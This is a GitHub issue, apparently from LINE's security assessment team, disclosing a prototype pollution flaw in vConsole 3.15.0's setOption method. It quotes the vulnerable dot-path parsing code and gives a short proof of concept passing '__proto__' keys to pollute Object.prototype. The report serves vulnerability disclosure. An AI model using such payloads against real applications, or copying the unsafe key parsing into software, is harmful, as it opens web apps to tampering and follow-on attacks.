Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Prototype Pollution in core.ts #616

Closed
zer0dia opened this issue Apr 4, 2023 · 0 comments
Closed

Prototype Pollution in core.ts #616

zer0dia opened this issue Apr 4, 2023 · 0 comments
Labels

Comments

@zer0dia
Copy link

zer0dia commented Apr 4, 2023

hello.
This is LINE Security Assessment Team.
Share the security vulnerabilities we found.
CC. @03sunf, @shpik-kr

vConsole Version: 3.15.0

issue

vConsole/src/core/core.ts

Lines 519 to 542 in 346ae64

public setOption(keyOrObj: any, value?: any) {
if (typeof keyOrObj === 'string') {
// parse `a.b = val` to `a: { b: val }`
const keys = keyOrObj.split('.');
let opt: any = this.option;
for (let i = 0; i < keys.length - 1; i++) {
if (opt[keys[i]] === undefined) {
opt[keys[i]] = {};
}
opt = opt[keys[i]];
}
opt[keys[keys.length - 1]] = value;
this._triggerPluginsEvent('updateOption');
this._updateComponentByOptions();
} else if (tool.isObject(keyOrObj)) {
for (let k in keyOrObj) {
this.option[k] = keyOrObj[k];
}
this._triggerPluginsEvent('updateOption');
this._updateComponentByOptions();
} else {
console.debug('[vConsole] The first parameter of `vConsole.setOption()` must be a string or an object.');
}
}

Possible prototype pollution due to incorrect key and value resolution in setOptions in core.ts.

poc

var vConsole = new window.VConsole();
vConsole.setOption("__proto__.foo","bar");
vConsole.setOption("__proto__.noOrig",1);
console.log(Object.prototype.foo);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

No branches or pull requests

2 participants